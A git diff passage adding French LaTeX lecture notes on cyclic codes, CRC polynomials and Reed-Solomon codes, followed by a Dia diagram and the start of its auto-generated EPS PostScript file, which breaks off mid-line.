vraie car alors $\forall s \in \mathbb{N}$, + $x^s a(x) \in \C$ (par récurrence) et $\forall b(x) \in \FF[x]/(x^n-1)$, $b(x).a(x) \in \C$. + \end{enumerate} + Par (1) on sait que $x.a(x)$ représente un décalage circulaire de $a(x)$. Donc (2) est vraie. + + La réciproque est simple. +\end{myproof} + +\begin{mydef}[Notation d'un code cyclique] + Soit $g(x) \in \FF[x]/(x^n-1)$ et notons + $$\cy{g(x)} = \{ i(x).g(x)\ /\ i(x)\in\FF[x]/(x^n-1)\}$$ + $\cy{g(x)}$ est un code cyclique (de longueur $n$). + + \begin{exemple} + $\FF[x]/(x^3-1)$ et soit $\C = \cy{x^2+1}$ + \begin{eqnarray*} + \C & = & \{0, 1+x, x+x^2, 1+x^2\}\\ + & = & \{000, 110, 011, 101\} + \end{eqnarray*} + $G = \begin{pmatrix} 1 & 1 & 0 \\ 0 & 1 & 1 \end{pmatrix}$ est une matrice génératrice de $\C$. + + Vérifier que $\C = \cy{1+x}$. + \end{exemple} +\end{mydef} + +\begin{myth} + Soit $\C$ un code cyclique (non nul) de $\FF[x]/(x^n-1)$. On a les propriétés suivantes: + \begin{enumerate} + \item il existe un unique polynôme $g(x)$ de plus petit degré dans $\C$, + \item $\C = \cy{g(x)}$, + \item il existe $h(x) \in \FF[x]$ tel que $g(x).h(x) = x^n-1$. + \end{enumerate} +\end{myth} + +\begin{myproof} + \begin{enumerate} + \item Supposons qu'il existe $\hat{g}(x) \ne g(x)$, dans $\C$ et de plus petit degré. + + Alors $g(x) - \hat{g}(x)$ est un polynôme de $\C$ de degré $< \dg{g}$, ce qui est absurde + car $g$ est de degré minimal dans $\C$. + \item Soit $c(x) \in \C$. Par division euclidienne, il existe $q(x)$ et $r(x)$ tels que + $$ \left\{ \begin{array}{l} c(x) = q(x).g(x) + r(x) \\ \dg{r} < \dg{g} \end{array} \right. $$ + Si $r(x) \ne 0$ alors $r(x) = c(x) - q(x).g(x) \in \C$ et $\dg{r} \le \dg{g}$ ce qui est impossible. + \item Il existe $q^*(x)$ et $r^*(x)$ tels que + $$ \left\{ \begin{array}{l} x^n-1 = q^*(x).g(x) + r^*(x) \\ \dg{r^*} < \dg{g} \end{array} \right. $$ + Comme $(x^n-1) \in \C$, on a donc $r^*(x) \in \C$ or $\dg{r^*} < \dg{g}*$ donc $r^* = 0$. + $$\Longrightarrow (x^n-1) = q^*(x)g(x)$$ + \end{enumerate} +\end{myproof} + +\begin{mydef}[Polynôme générateur] + Le polynôme $g(x)$ s'appelle \textbf{le} polynôme générateur de $\C$. +\end{mydef} + +\begin{exemple} + Pour $n = 3$, on a $ (x^3-1) = (x-1)(x^2+x+1) $ + où $(x^2+x+1)$ est un polynôme irréductible dans $\FF[x]$. + + \begin{description} + \item[$\mathbf{\cy{1}}$] $= \FFn{3}$ + \item[$\mathbf{\cy{x+1}}$] code généré par $G = \begin{pmatrix} 1 & 1 & 0 \\ 0 & 1 & 1 \end{pmatrix}$ + \item[$\mathbf{\cy{x^2+x+1}}$] code généré par $G= (1\ 1\ 1)$, c'est un code à répétition + \item[$\mathbf{\cy{x^3-1}}$] code nul ($=\{000\}$) + \end{description} + On a énuméré tous les codes de longueur 3. +\end{exemple} + +\subsection{Matrice génératrice} +Soit $\C$ un code cyclique de polynôme générateur $g(x) = g_0 + g_1x + \ldots + g_{s-1}x^{s-1} + g_sx^s$ (avec $s = \dg{g} \ge 1$) +alors la dimension de $\C$ est $(n-s)$ et $G$ est une matrice génératrice. + +$$ G = +\begin{pmatrix} + g_0 & g_1 & \ldots & g_s & 0 & \ldots & 0 \\ + 0 & g_0 & g_1 & \ldots & g_s & \ddots & \vdots \\ + \vdots & \ddots & \ddots & \ddots & & \ddots & 0 \\ + 0 & \ldots & 0 & g_0 & g_1 & \ldots & g_s +\end{pmatrix} +$$ + +\begin{myproof} + $G$ est une matrice diagonalisée avec $g_0=1$ donc les lignes de $G$ sont linéairement indépendantes. + + De plus, les lignes de $G$ sont en fait des polynômes $g(x), x.g(x), \ldots, x^s.g(x)$. + + Or si $a(x) \in \C$, cela signifie qu'il existe $i(x) \in \FF[x]$ tel que + $$ \left\{ \begin{array}{l} + a(x) = i(x)g(x) \mod (x^n-1) \\ + \dg{i} \le n-1-s + \end{array} \right. $$ + + \begin{itemize} + \item[$\Rightarrow$] $a(x)=i_0 g(x) + i_1 x g(x) + \ldots + i_{n-s-1}x^{n-s-1}g(x)$ + \item[$\Rightarrow$] $a = i \times G$, donc $G$ est une matrice génératrice de $\C$. + \end{itemize} +\end{myproof} + +\subsection{Encodage avec un code cyclique} +Il existe deux méthodes. Soit $g(x)$ le polynôme générateur de degré $r$ du code cyclique de longueur $n$. +La dimension du code est $(n-r)$. + +\subsubsection{1\textsuperscript{ère} méthode} + +On désire encoder $u=(u_0, \ldots, u_{n-r-1}) \in \FFn{n-r}$. Le mot de code associé est $c$. +Les deux propositions suivantes sont équivalentes: +\begin{enumerate} + \item $c = u \times G$ où $G$ est la matrice génératrice associée à $g(x)$. + \item $c(x) = u(x) \times g(x) \mod (x^n-1)$ \\ où $c(x) = c_0 + c_1x + \ldots + c_{n-1}x^{n-1}$ \\ + et $u(x) = u_0 + u_1x + \ldots + u_{n-r-1}x^{n-r-1}$. +\end{enumerate} + +\subsubsection{2\textsuperscript{ème} méthode} +Pour encoder $u(x)$ on effectue la division euclidienne de $x^ru(x)$ par $g(x)$, c'est-à-dire +il existe $q(x)$ et $d(x)$ tels que: +$$ \left \{ \begin{array}{l} +x^r u(x) = q(x)g(x) + d(x) \\ +\dg{d} \le r-1 +\end{array} \right. $$ +Le mot de code associé est $c(x)$ défini par +$$ c(x) = x^r u(x) - d(x)$$ + +\begin{remarque} + \begin{enumerate} + \item $c(x)$ appartient au code cyclique généré par $g(x)$ car $c(x)$ est un multiple de $g(x)$. + \item Il existe un unique $c(x)$ associé à $u(x)$ de par la division euclidienne. + \item $c(x) = d_0 + d_1x + \ldots + d_{r-1}x^{r-1} + u_0x^r + u_1x^{r+1} + \ldots + u_{n-r-1}x^{n-1}$ + où $d(x) = d_0 + d_1x + \ldots + d_{r-1}x^{r-1}$ \\ + $\Rightarrow$ La deuxième méthode correspond à un encodage systématique. + \end{enumerate} +\end{remarque} + +\subsection{Polynômes utilisés en normalisation} + \begin{description} + \item[CRC-12] $x^{12}+x^{11}+x^{3}+x^{2}+x+1$, ce polynôme est utilisé pour les caractères codés sur 6 bits. Le code est de longueur $12+6=18$. + \item[CRC-16] $x^{16}+x^{15}+x^{2}+1$ + \item[CRC-CCITT] $x^{16}+x^{12}+x^{5}+1$ (norme V41-ITU-T) + \end{description} + Ces deux derniers polynômes sont utilisés pour des caractères de 8 bits. Ils permettent de détecter: + \begin{itemize} + \item 2 erreurs, + \item un nombre impair d'erreurs, + \item tout paquet d'erreur de longueur inférieure ou égale à 16 bits. + \end{itemize} + Ils sont utilisés par les satellites géostationnaires. + +\subsection{Exercice} +Soit le code cyclique de dimension 8 dont le polynôme générateur est le CRC-CCITT. +\begin{enumerate} + \item Donner la longueur du code, + \item encoder le message $1011\ 0101$ par les deux méthodes, + \item donner une matrice génératrice, + \item en déduire un matrice de parité $H$, + \item corriger le mot reçu + $$ r = 1000\ 0001\ 0000\ 1000\ 0001\ 0001 $$ +\end{enumerate} + +\subsection{Matrice de parité d'un code cyclique} +Soit $\C$ un code cyclique de polynôme $g(x) = g_0 + \ldots + g_r x^r$ dont le degré est $r$ ($\C$ est de longueur $n$). + +On définit le polynôme $h(x)$ comme étant le polynôme tel que +$$ g(x)h(x) = x^n - 1 $$ + +Tout mot de code $c(x)$ est le résultat de $i(x)g(x)$ où $i(x)$ est un polynôme de degré $(n-r-1)$ +$$ i(x) = i_0 + i_1x + \ldots + i_{n-r-1}x^{n-r-1} $$ + +Ce qui implique + $$c(x)h(x) = i(x) \times (x^n-1)$$ + +$\Rightarrow$ les coefficients de $c(x)h(x)$ sont nuls pour les degrés + $$i = n-r, n-r+1, \dots, n-1$$ + +C'est-à-dire que +$$\begin{array}{cl} + i=n-r & \Rightarrow c_0 h_{n-r} + c_1 h_{n-r+1} + \ldots + c_{n-1} h_0 = 0 \\ + i=n-r+1 & \Rightarrow c_1 h_{n-r} + c_2 h_{n-r+1} + \ldots + c_{n} h_0 = 0 \\ + \vdots & \\ + i=n-1 & \Rightarrow c_{r-1} h_{n-r} + c_r h_{n-r+1} + \ldots + c_{n-r} h_0 = 0 +\end{array}$$ + +où $h(x) = h_0 + h_1x + \ldots + h_{n-r} x^{n-r}$ + +$$ H = +\begin{pmatrix} + h_{n-r} & \ldots & h_0 & 0 & \ldots & 0 \\ + 0 & h_{n-r} & \ldots & h_0 & \ddots & \vdots \\ + \vdots & \ddots & \ddots & & \ddots & 0 \\ + 0 & \ldots & 0 & h_{n-r} & \ldots & h_0 +\end{pmatrix} +$$ + +$$ c(x)h(x) = i(x) \times (x^n-1) \Leftrightarrow H.c^\top = \begin{pmatrix} 0 \\ \vdots \\ 0 \end{pmatrix} $$ +$\Rightarrow$ H est une matrice de parité de $\C$. + +\section{Codes de Reed-Solomon} + +Ils ont été découverts en 1959 par \textsc{Reed} et \textsc{Salomon}. +C'est une famille de codes très utilisés: CD-ROM, DVD, ADSL, communication par satellite. + +\subsection{Rappels mathématiques} +Si $\Zp$ avec $p$ premier alors $(\Zp,+,\times)$ est un corps commutatif. + +Il existe dans $\Zp$ un élément $\alpha \ne 0$ tel que $\forall x \in \Zp - \{0\}$ +il existe $i \in \{0, \ldots, p-1\}$ avec +$$ x = \alpha^i \mod p$$ + +$\alpha$ est dit un élément primitif de $\Zp$ (c'est équivalent à dire que le groupe $(\Zp^*, \times)$ est un groupe commutatif). + +\begin{exemple} + $p=11$, alors 2 est un élément primitif pour $\Zn{11}$ +\end{exemple} + +Pour info (admis), il existe d'autres corps finis de cardinal différent d'un nombre premier. + +\begin{proprietes} + \begin{enumerate} + \item le cardinal d'un corps fini est du type $p^r$ où $p$ est un nombre premier et $r$ est un entier $\le 1$, + \item pour tout $p^r$ ($p$ premier), il existe un corps fini de cardinal $p^r$. Ce corps est unique + (à isomorphisme près). On le note $\F_{p^r}$. + \item Les corps finis s'obtiennent en quotientant $\F_p[x]$ par un polynôme irréductible $f(x)$. + C'est-à-dire que + $$\F_{p^r} = \{q_0 + q_1x + \ldots + q_{r-1}x^{r-1} \mod f(x)\ /\ \forall j, q_j \in \F_p\}$$ + avec $\dg{f(x)} = r$ + + $f(x)$ irréductible signifie qu'il n'admet pas de diviseur dans $\F_p[x]$. + + \begin{remarque} + Il existe des tables de polynômes irréductibles. Dans $\F_{p^r}$, $x^r = -f_0 -f_1 x - \ldots - f_{r-1} x^{r-1}$ + où $f(x) = f_0 + f_1 x + \ldots + f_{r-1} x^{r-1} + x^r$ + \end{remarque} + \end{enumerate} +\end{proprietes} + +\subsection{Définition} +Soient $x_1, \ldots, x_n$ éléments différents d'un corps fini $\F_q$ où $q=p^r$ avec $p$ premier. +Pour tout $k \le n$, on note $\Poly_k[x]$ l'ensemble des polynômes à coefficient dans $\F_p$ de degré inférieur à $k$. + +Un code Reed-Solomon est l'ensemble des vecteurs $(\delta(x_1), \ldots, \delta(x_n))$ où $\delta(x)$ décrit $\Poly_k[x]$. + +\begin{note}{Notation} + $$RS_{k,q}(x_1, \ldots, x_n) = \{ (\delta(x_1), \ldots, \delta(x_n)) \ /\ \delta(x) \in \Poly_k[x] \}$$ +\end{note} +\begin{remarque} + \begin{itemize} + \item $n \le q$ + \item chaque $\delta(x_i) \in \F_q \Rightarrow RS_{k,q}(x_1, \ldots, x_n) \subset \F_q^n$ + \end{itemize} +\end{remarque} + +\subsection{RS est un code linéaire} +Soient $\delta_1(x)$ et $\delta_2(x)$ de $\Poly_k[x]$ et $\alpha, \beta \in \F_q$. + +Posons +$$ \left \{ \begin{array}{l} +c_1 = (\delta_1(x_1), \ldots, \delta_1(x_n)) \\ +c_2 = (\delta_2(x_1), \ldots, \delta_2(x_n)) +\end{array} \right. $$ +alors $$\alpha c_1 + \beta c_2 \in RS_{k,q}(x_1, \ldots, x_n)$$ car +$$ \left \{ \begin{array}{l} +\alpha\delta_1 + \beta\delta_2 = (\alpha\delta_1(x_1) + \beta\delta_2(x_1), \ldots, \alpha\delta_1(x_n) + \beta\delta_2(x_n)) \\ +\alpha\delta_1 + \beta\delta_2 \in \Poly_k +\end{array} \right. $$ + +$\Rightarrow$ $RS_{k,q}(x_1, \ldots, x_n)$ est un $\F_q$ e.v. + +\subsection{Dimension et distance minimale} +La dimension de $RS_{k,q}(x_1, \ldots, x_n)$ est $k$ car $\Poly$ est de dimension $k$ +et un polynôme de degré inférieur à $k$ a au plus $(k-1)$ racines ($k \le n$). + +\begin{mydef}[Poids de Hamming] + Soit $x = (x_1, \ldots, x_n) \in \F_q^n$. Le poids de Hamming de $x$ est le nombre de coordonnées $x_i$ non nulles. +\end{mydef} + +\begin{myth}[Distance minimale] + La distance minimale de $RS_{k,q}(x_1, \ldots, x_n)$ vérifie + $$ d = n-k+1 $$ +\end{myth} + +\begin{myproof} + Soient $x_1, \ldots, x_n \in \F_q$, $\Poly_k[x]$ l'ensemble des polynômes de degré $\le k-1$. + $$ RS_{k,q}(x_1, \ldots, x_n) = \{ (p(x_1), \ldots, p(x_n)) \ /\ p \in \Poly_k[x] \} $$ + On veut prouver que $d_{min} = n-k+1$. + + Soit un mot de code non-nul $(p(x_1), \ldots, p(x_n))$ avec $p \in \Poly_k[x]$. + + Si $p(x_i) = 0$ alors $x_i$ est une racine de $p$. Or un polynôme de degré $\le k-1$ + a au plus $(k-1)$ racines, c'est-à-dire qu'il a au moins $n-k+1$ positions non nulles. + Ceci implique (1) $d_{min} \ge n-k+1$. + + De plus, la borne de Singleton est valable pour les codes sur $\F_q$ et on a (2) $d_{min} \le n-k+1$. + + (1) et (2) $\Longrightarrow d_{min} = n-k+1$ +\end{myproof} + +\begin{remarque} +\begin{itemize} + \item Les codes Reed-Solomon sont des codes optimaux (Maximum Distance Separable). + \item Dans beaucoup d'applications, on prend $n=q-1$ et $\alpha_i = \alpha^{i-1}$, $i=1, \ldots, q-1$ + où $\alpha$: élément primitif de $\F_q^*$ ($q=2^m$). +\end{itemize} +\end{remarque} + +\subsection{Encodage} + +À chaque message $i=(i_0, \ldots, i_{k-1})$ avec $i_0, \ldots, i_{k-1} \in \F_q$ +qui est vu comme un polynôme $i(x) = i_0 + \ldots + i_{k-1}x^{k-1}$, on associe le mot de code +$(i(x_1), \ldots, i(x_n))$. C'est-à-dire qu'on évalue le polynôme $i$ en $n$ points. + +\begin{exemple} + Un code Reed-Solomon sur $\F_{11}$. 2 est un élément primitif de $\F_{11}^*$. On pose $x_j=2^{j-1}$ + avec $j=1,\ldots, 10$. On choisit $k=4$. On obtient les mots de code suivants: + $$ (i(1), i(2), i(4), i(8), i(5), i(10), i(9), i(7), i(3), i(6)) $$ + où $i(x) = i_0 + i_1x+ i_2x^2 + i_3x^3$. + + La matrice génératrice s'obtient en calculant les mots de code associés à la base canonique $(1,x,x^2,x^3)$ + \begin{center} + \begin{tabular}{|c|l|} + \hline + Polynôme & Mot de code associé \\ + \hline %\hline + 1 $(1000)$ & $(1,1,1,1,1,1,1,1,1,1)$ \\ + $x$ $(0100)$ & $(1,2,4,8,5,10,9,7,3,6)$ \\ + $x^2$ $(0010)$ & $(1,4,5,9,3,1,4,5,9,3)$ \\ + $x^3$ $(0001)$ & $(1,8,9,6,4,10,3,2,5,7)$ \\ + \hline + \end{tabular} + \end{center} + Les paramètres de ce code sont $[10,4,7]$. +\end{exemple} + +\subsection{Décodage} +Il existe un algorithme de décodage qui corrige jusqu'à +$$ t = \left\lfloor \frac{d_{min}-1}{2} \right\rfloor $$ +On suppose que l'on reçoit $r=c+e$ où $e$ est le vecteur erreur $\in \F_q^n$ de poids $\le t$ +et $c$ est un mot de code $\in RS_{k,q}(x_1, \ldots, x_n)$ + +L'idée de l'algo de décodage est de déterminer un polynôme à deux variables +$$ Q(x,y) = Q_0(x) + y.Q_1(x) $$ + +avec +\begin{enumerate} + \item $Q_0(x), Q_1(x) \in \F_q[x]$ + \item $Q(x_i, y_i) = 0, i=1, \ldots, n$ + \item $\dg{Q_0} \le n - 1 - t$ + \item $\dg{Q_1} \le n - 1 - t - (k-1)$ +\end{enumerate} +Les inconnues sont les coefficients de $Q_0$ et $Q_1$. + +\begin{myth} + Il existe au moins un polynôme non-nul $Q(x,y)$ qui satisfait les conditions 1, 2, 3 et 4. +\end{myth} + +\begin{myproof} + (1) donne $n$ équations linéaires. + \begin{eqnarray*} + Q(x_1,r_1) & = & Q_0(x_1) + r_1Q_1(x_1) \\ + & = & q_{0,0} + q_{0,1}x_1 + q_{0,2}x_1^2 + \ldots + q_{0,l_0}x_1^{l_0} \\ + & & +\ r_1 \times (q_{1,0} + q_{1,1}x_1 + q_{1,2}x_1^2 + \ldots + q_{1,l_1}x_1^{l_0}) + \end{eqnarray*} + où $l_0 = \dg{Q_0}$ et $l_1 = \dg{Q_1}$. + + Le nombre d'inconnues et $\delta = n-1-t+1+n-1-t-k+1+1$, c'est-à-dire + $$\delta = 2n-2t-k+1$$ + or $2t \le d-1 = n-k$, d'où $\delta \ge 2n -n+k-k+1$ et + $$\delta \ge n+1$$ + + On a donc plus d'inconnues que d'équations $\Rightarrow$ il existe au moins une solution. +\end{myproof} + +\begin{myth} + Si le mot de code $c$ est généré par le polynôme $g(x) \in \Poly_k[x]$ ($c=(g(x_1), \ldots, g(x_n))$) + et si le poids de $e$ est inférieur ou égal à $t = \left\lfloor \frac{d_{min}-1}{2} \right\rfloor$ alors + $$ g(x) = - \frac{Q_0(x)}{Q_1(x)} $$ +\end{myth} + +\begin{myproof} + $Q(x,y)$ vérifie $Q(x_i, g(x_i) + e_i) = 0$ avec $i=1,\ldots,n$. + + Comme $e_i = 0$ pour au moins $(n-t)$ positions, on a donc + $$ Q(x,g(x)) = Q_0(x) + g(x)Q_1(x) $$ + C'est à dire que le polynôme $Q(x,g(x))$ qui admet au moins $(n-t)$ racines $x_i$ est le polynôme nul. + $$ \Rightarrow g(x) = - \frac{Q_0(x)}{Q_1(x)} $$ + + \begin{remarque} + \begin{itemize} + \item $Q(x,y) = Q_1(x)(y - g(x))$ donc + $$ Q(x_i,y_i) = 0 \Longrightarrow Q_1(e_i) = 0 \text{ si } e_i \ne 0 $$ + \item $Q_1$ est le polynôme localisateur des erreurs. + \end{itemize} + \end{remarque} +\end{myproof} + +\subsubsection{Algorithme} +\begin{description} + \item[Entrée] $(r_1, \ldots, r_n) \in \F_q^n$ (mot reçu) et $RS_{k,q}(x_1, \ldots, x_n)$ + \item[Sortie] + $$ \left \{ \begin{array}{l} + g(x) \in \Poly_k[x] \\ + \text{tq. } g(x_i) = r_i \text{ pour au moins $n-t$ positions} + \end{array} \right. $$ +\end{description} + +Résoudre le système : + $$ +\begin{bmatrix} + 1 & x_1 & x_1^2 & \ldots & x_1^{l_0} & r_1 & r_1x_1 & \ldots & r_1x_1^{l_1} \\ + \vdots & \vdots & \vdots & & \vdots & \vdots & \vdots & & \vdots \\ + 1 & x_n & x_n^2 & \ldots & x_n^{l_0} & r_1 & r_1x_n & \ldots & r_1x_n^{l_1} +\end{bmatrix} +\begin{bmatrix} + q_{0,0} \\ + \vdots \\ + q_{1,l_1} +\end{bmatrix} += +\begin{bmatrix} + 0 \\ \vdots \\ 0 +\end{bmatrix} + $$ + +Calculer $Q_0(x) \stackrel{def}{=} g(x)$ avec +$$ \left \{ +\begin{array}{l} + Q_0(x) = q_{0,0} + q_{0,1}x + \ldots + q_{0,l_0}x^l_0 \\ + Q_1(x) = q_{1,0} + q_{1,1}x + \ldots + q_{1,l_1}x^l_1 +\end{array} +\right. $$ + +Si $g(x) \in \Poly_k[x]$ alors retourner $g(x)$. + +\subsection{Exercice} +Dans $\F_7$, on considère le code RS de dimension 3 défini sur $x_i=i$ avec $i \in \F_7^*$ + +\begin{enumerate} + \item donner les paramètres et la taille + \item donner la matrice génératrice + \item encoder $(1,1,0)$ + \item décoder le vecteur $(2,4,4,5,6,1)$ + \item donner la matrice génératrice avec + $$ x_i = 5^{i-1} \mod t,\ i \in \{1, \ldots, 6\} $$ +\end{enumerate} + +\end{document} + diff --git a/CodesCorrecteurs/corr-detect.dia b/CodesCorrecteurs/corr-detect.dia new file mode 100755 index 0000000..085b743 Binary files /dev/null and b/CodesCorrecteurs/corr-detect.dia differ diff --git a/CodesCorrecteurs/corr-detect.eps b/CodesCorrecteurs/corr-detect.eps new file mode 100755 index 0000000..baee17c --- /dev/null +++ b/CodesCorrecteurs/corr-detect.eps @@ -0,0 +1,454 @@ +%!PS-Adobe-2.0 EPSF-2.0 +%%Title: /home/users/trusted-users/nicolas.masse/svn_mirror/ENSI_3rdY/CodesCorrecteurs/corr-detect.dia +%%Creator: Dia v0.95-1 +%%CreationDate: Wed Dec 13 12:04:05 2006 +%%For: nicolas.masse +%%Orientation: Portrait +%%Magnification: 1.0000 +%%BoundingBox: 0 0 361 185 +%%BeginSetup +%%EndSetup +%%EndComments +%%BeginProlog +[ /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /space /exclam /quotedbl /numbersign /dollar /percent /ampersand /quoteright +/parenleft /parenright /asterisk /plus /comma /hyphen /period /slash /zero /one +/two /three /four /five /six /seven /eight /nine /colon /semicolon +/less /equal /greater /question /at /A /B /C /D /E +/F /G /H /I /J /K /L /M /N /O +/P /Q /R /S /T /U /V /W /X /Y +/Z /bracketleft /backslash /bracketright /asciicircum /underscore /quoteleft /a /b /c +/d /e /f /g /h /i /j /k /l /m +/n /o /p /q /r /s /t /u /v /w +/x /y /z /braceleft /bar /braceright /asciitilde /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef /.notdef +/space /exclamdown /cent /sterling /currency /yen /brokenbar /section /dieresis /copyright +/ordfeminine /guillemotleft /logicalnot /hyphen /registered /macron /degree /plusminus /twosuperior /threesuperior +/acute /mu /paragraph /periodcentered /cedilla /onesuperior /ordmasculine /guillemotright /onequarter /onehalf +/threequarters /questiondown /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla +/Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde +/Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex +/Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring +/ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis +/eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave +/uacute /ucircumflex /udieresis /yacute /thorn /ydieresis] /isolatin1encoding exch def +/cp {closepath} bind def +/c {curveto} bind def +/f {fill} bind def +/a {arc} bind def +/ef {eofill} bind def +/ex {exch} bind def +/gr {grestore} bind def +/gs {gsave} bind def +/sa {save} bind def +/rs {restore} bind def +/l {lineto} bind def +/m {moveto} bind def +/rm {rmoveto} bind def +/n {newpath} bind def +/s {stroke} bind def +/sh {show} bind def +/slc {setlinecap} bind def +/slj {setlinejoin} bind def +/slw {setlinewidth} bind def +/srgb {setrgbcolor} bind def +/rot {rotate} bind def +/sc {scale} bind def +/sd {setdash} bind def +/ff {findfont} bind def +/sf {setfont} bind def +/scf {scalefont} bind def +/sw {stringwidth pop} bind def +/tr {translate} bind def + +/ellipsedict 8 dict def +ellipsedict /mtrx matrix put +/ellipse +{ ellipsedict begin + /endangle exch def + /startangle exch def + /yrad exch def + /xrad exch def + /y exch def + /x exch def /savematrix mtrx currentmatrix def + x y tr xrad yrad sc + 0 0 1 startangle endangle arc + savematrix setmatrix + end +} def + +/mergeprocs { +dup length +3 -1 roll +dup +length +dup +5 1 roll +3 -1 roll +add +array cvx +dup +3 -1 roll +0 exch +putinterval +dup +4 2 roll +putinterval +} bind def +/Times-Roman-latin1 + /Times-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Italic-latin1 + /Times-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-Bold-latin1 + /Times-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Times-BoldItalic-latin1 + /Times-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Book-latin1 + /AvantGarde-Book findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-BookOblique-latin1 + /AvantGarde-BookOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-Demi-latin1 + /AvantGarde-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/AvantGarde-DemiOblique-latin1 + /AvantGarde-DemiOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Light-latin1 + /Bookman-Light findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-LightItalic-latin1 + /Bookman-LightItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-Demi-latin1 + /Bookman-Demi findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Bookman-DemiItalic-latin1 + /Bookman-DemiItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-latin1 + /Courier findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Oblique-latin1 + /Courier-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-Bold-latin1 + /Courier-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Courier-BoldOblique-latin1 + /Courier-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-latin1 + /Helvetica findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Oblique-latin1 + /Helvetica-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Bold-latin1 + /Helvetica-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-BoldOblique-latin1 + /Helvetica-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-latin1 + /Helvetica-Narrow findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Oblique-latin1 + /Helvetica-Narrow-Oblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-Bold-latin1 + /Helvetica-Narrow-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Helvetica-Narrow-BoldOblique-latin1 + /Helvetica-Narrow-BoldOblique findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Roman-latin1 + /NewCenturySchoolbook-Roman findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Italic-latin1 + /NewCenturySchoolbook-Italic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-Bold-latin1 + /NewCenturySchoolbook-Bold findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/NewCenturySchoolbook-BoldItalic-latin1 + /NewCenturySchoolbook-BoldItalic findfont + dup length dict begin + {1 index /FID ne {def} {pop pop} ifelse} forall + /Encoding isolatin1encoding def + currentdict end +definefont pop +/Palatino-Roman-latin1 + /Palatino-Roman findfont + dup length dict begin + {1 index /FID ne {def} 